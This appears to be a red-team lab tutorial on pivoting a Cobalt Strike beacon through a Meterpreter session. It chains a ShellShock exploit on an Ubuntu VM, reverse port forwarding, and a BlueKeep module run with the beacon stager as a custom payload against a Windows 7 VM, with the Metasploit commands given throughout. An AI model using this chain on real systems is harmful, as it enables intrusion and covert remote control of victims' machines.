Pivoting Cobalt Strike's beacon through Meterpreter

Introduction

When learning about post-exploitation frameworks, very quickly you’ll encounter Cobalt Strike. It’s become very popular the last couple of years due to its flexibility, configurability and ability to allow cooperation between multiple red teamers and red teaming projects. Cobalt Strike is a command-and-control red teaming framework. This means it offers a client-server topology (or better put: beacon-server topology) where the client (or beacon) is deployed on a victim machine, polling back to the server asking what it should do. The capabilities that the Cobalt Strike beacon can perform on its infected victim machine range from privilege escalation, pivoting, weaponization, lateral movement and more.

Pivoting is a fancy word for when an adversary has no direct access to a certain network, but proxies through a different machine ‘A’ that does have visibility to this network. This is because machine ‘A’ has a network interface in each network (so 2 interfaces).
Cobalt Strike has great documentation on how to pivot through a windows machine to a linux machine, but there is little to no documentation on how to pivot a beacon through a linux machine to a windows machine - the other way around. And so, this post will guide you through how to pivot a beacon session through a metasploit meterpreter session (ubuntu machine) to a windows machine.

Topology

In this demo, I’ll be using a topology built using virtualbox. I will show you how to pivot from the hypervisor host machine through a ubuntu vm to a windows vm (with hypervisor host I mean the host machine on which the virtualbox service is running). Both vm’s will be in the same internal network (not visible from the hypervisor host), but the ubuntu vm will also be in a host-only network together with the hypervisor host. The end result will be a beacon deployed on the windows machine proxying back through the ubuntu machine to the Cobalt Strike server on the hypervisor host.

On the Ubuntu machine I have a docker container running a version of apache vulnerable to ShellShock (in --network host mode, otherwise pivoting to the windows machine would not be possible). Here’s the command:

sudo docker run –network host -it vulnerables/cve-2014-6271

Setting up the topology

The topology consists of 2 virtual boxes. The first one (windows 7 machine) runs in a virtualbox ‘internal network’. Once booted up, assign it a static ip of 10.20.0.2 with a /24 mask. The Ubuntu machine has 2 networks. The first one is the same ‘internal network’ as the windows machine. The second one is a ‘Host-Only’ network. Make sure to set these up and verify the ubuntu machine can ping the windows machine (and vice versa) and the hypervisor host can ping the ubuntu machine (and vice versa). The hypervisor host should not be able to ping the windows machine! On the hypervisor host, run the Cobalt Strike server bound to its ip address from the virtualbox ‘Host-Only’ network (a.k.a. 192.168.56.1)!

1. Exploiting the Ubuntu machine

Our first step is to exploit the Ubuntu machine directly from the hypervisor host. We start by opening metasploit on the hypervisor host, configuring the correct exploit (spoiler, for this specific docker image, the exploit/multi/http/apache_mod_cgi_bash_env_exec exploit will work). Populate the options as below, and then exploit:

RHOSTS => 192.168.56.5  # The Ubuntu machine
LHOST => 192.168.56.1  # The hypervisor host’s IP inside the Host-Only network!
TARGETURI => /cgi-bin/vulnerable  # The webpage where the specific vulnerability resides (documented in the docker image’s README)

exploit

Of course, these IP addresses could be different for you!

2. Meterpreter session as a proxy

We now gained a meterpreter session from the hypervisor host to the Ubuntu vm. Our second step is to use this meterpreter session to forward traffic directed to the internal network from the hypervisor host to the Ubuntu machine. First we have to put this meterpreter session in the background to regain control over the metasploit CLI. Next, we add a route in metasploit to forward all traffic directed at 10.20.0.0/24 through the meterpreter session we just opened:

route add 10.20.0.0/24 1  # The last parameter ‘1’ is the meterpreter session ID, this could be different with you!

We now have a meterpreter session to a machine that’s a member of the 10.20.0.0/24 network, and we are forwarding all exploits targeted at the internal network to the Ubuntu machine. So in theory, we should be able to run exploits targeted to machines in the 10.20.0.0/24 network from the hypervisor host (who is not in the ´10.20.0.0` network), right? Well, not yet …

3. Add reverse port forwarding

Setting up the meterpreter and forwarding traffic is not enough. The problem is we are going to have traffic that’s initiated from the windows machine towards us, this is the concept of cobalt strike’s beacon. The way the beacon communicates back to the C2 server is by a reverse HTTP-polling mechanism. And so, beacon initiates fresh TCP connections in reverse direction back to us. So we need to set up reverse port forwarding inside the meterpreter session on the ubuntu machine. If this is a bit complicated, think of the ubuntu machine as a NAT server. NAT translations happen for outgoing connections (what we’ve been setting up until now), but incoming connections aren’t usual and need to have a corresponding port forwarding configuration, same applies here.

Inside the meterpreter session (not the metasploit cli!), set up the reverse port forwarding like below. This command means that if the ubuntu machine receives incoming connections on port 5555, it will forward it to 192.168.56.1:3333.

portfwd add -R -p 5555 -L 192.168.56.1 -l 3333

4. Configure the payload

The networking setup to do pivoting is done right now, but we still have to infect the windows machine and deploy a beacon. We’re going to use metasploit to deploy a custom binary as a generic/custom payload (this is the beacon stager!). But first, we need to get this binary, which can be exported from Cobalt Strike.

Go to Cobalt Strike and create a listener. The listener should have as host 10.20.0.3, the ‘C2 port’ should be 5555, but its ‘Bind port’ should be 3333. We’re basically saying that beacon payloads that are configured to use this listener, should use 10.20.0.3:5555 as host target, but the listener itself should bind to 192.168.56.1:3333 (192.168.56.1 because the C2 server is running on the hypervisor host!). Do you start to see a pattern? A beacon configured with this listener will think its C2 server lives at 10.20.0.3:5555 but the listener itself will listen on port 3333 for incoming beacon connections. This will work because the ubuntu vm’s meterpreter session is configured to do this port forwarding translation as configured in the previous step!

Now that this listener is created, go to ‘Payloads’ > ‘Stager Payload Generator’ and create a x64 raw payload (don’t forget to select the listener you just created). Let’s name it x64_stager.bin.

5. Exploit the windows machine

To keep things easy, I’ve chosen the windows machine to be a simple Windows 7 machine vulnerable to BlueKeep and EternalBlue. Our last step is to exploit this windows machine from the hypervisor host (through the ubuntu vm) and plant the beacon. This step is actually very easy, as we’ve already done the hard work in the previous steps. Now, we just run metasploit’s EternalBlue (or BlueKeep) module. The payload, however, is not just a pre-configured or built-in meterpreter or reverse_tcp payload. It’s actually the beacon stager itself, and so we need to set a custom payload.

use windows/rdp/cve_2019_0708_bluekeep_rce
set RDP_CLIENT_IP 10.20.0.2
set RHOSTS 10.20.0.2
set TARGET 2  # the virtualbox target, only if you’re also mimicking my virtualbox setup!

set PAYLOAD generic/custom
set PAYLOADFILE /path/to/x64_stager.bin
set DisablePayloadListener True  # Prevent metasploit from setting up a payload listener
set PrependMigrate True  # migrate stager to new process = more stable

exploit

It could take some time or a few tries, but you should see a beacon pop up in Cobalt Strike!

This blog post is licensed under CC BY-SA 4.0